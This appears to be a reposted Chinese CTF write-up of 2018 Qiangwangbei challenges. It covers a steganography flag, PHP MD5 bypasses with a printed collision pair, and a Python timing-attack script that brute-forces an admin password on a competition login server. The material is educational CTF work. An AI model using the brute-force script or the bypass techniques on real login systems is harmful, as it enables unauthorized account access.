【打酱油】2018强网杯个人小结

2018强网杯已经过去很久了
刚好再整理一下通过这次比赛的一些个人收获
最后感慨,自己实在太渣,要保持勤奋不断前进

image.png

0x01 welcome

一道简单的misc,给出了一张图片,直接拖到Stegsolve处理

【打酱油】2018强网杯个人小结_第1张图片
image.png

在offset为80和100的时候可以看到flag


【打酱油】2018强网杯个人小结_第2张图片
image.png
【打酱油】2018强网杯个人小结_第3张图片
image.png

0x02 Web签到

这题考察PHP的MD5绕过,总共有三关

其中第一关是0e弱类型比较

第二关是数组绕过MD5比较

第三关无法绕过,只能找到真正的MD5碰撞

关于MD5碰撞,已经有现成的成果可以使用,曾经王晓云教授提出过成果

这里使用的碰撞对是

0e306561559aa787d00bc6f70bbdfe3404cf03659e704f8534c00ffb659c4c8740cc942feb2da115a3f4155cbb8607497386656d7d1f34a42059d78f5a8dd1ef

0e306561559aa787d00bc6f70bbdfe3404cf03659e744f8534c00ffb659c4c8740cc942feb2da115a3f415dcbb8607497386656d7d1f34a42059d78f5a8dd1ef

还可以使用碰撞对

【打酱油】2018强网杯个人小结_第4张图片
image.png

在hackbar中通过自带的hex转char功能进行转换,最后post通过

【打酱油】2018强网杯个人小结_第5张图片
image.png
image.png

0x03 3pigs

【打酱油】2018强网杯个人小结_第6张图片
image.png

这题一直没有被人拿下,是web+pwn的题目

充满好奇去尝试了下,虽然没有结果,但是过程还是记录一下

访问题目链接后是一个登录界面,尝试sql注入等,并没有漏洞点

查看源代码发现注释中提示timing attack,既时序攻击,于是写代码进行爆破

时序攻击的介绍可以参考

https://www.zhihu.com/question/20156213

大致就是服务端对错误密码处理的响应时间有细微差异,假如逐位进行密码验证,则连续位数正确越多的密码,服务器返回时间越长

这里给出手动爆破的python脚本

#coding:utf-8

import requests

url="http://39.107.33.62:31927/login.php"

post={

"team":"icq15f6add5d952d9d8efac6c045970a",

"username":"admin",

"password":""

}

maxtime=0

char=""

for i in range(34,127):

avgtime=0

c = chr(i)

#这里进行诸位手动爆破

post["password"]="I10ve3P|g"+c+"*"*0

# I10ve3P|g~

response = requests.post(url, data=post)

avgtime = response.elapsed.microseconds

if avgtime > maxtime:

maxtime=avgtime

char = c

print(post["password"]+":"+str(avgtime)+" "+response.text)

if "Failed" not in response.text:

print("success!!")

f=open("success.txt","a")

f.write(post["password"])

f.close()

print(char)

最后得到登录密码是

I10ve3P|g~

登录后进入新的页面


【打酱油】2018强网杯个人小结_第7张图片
image.png
【打酱油】2018强网杯个人小结_第8张图片
image.png

和这几只猪死磕了很久都没有思路,最后GG

你可能感兴趣的:(【打酱油】2018强网杯个人小结)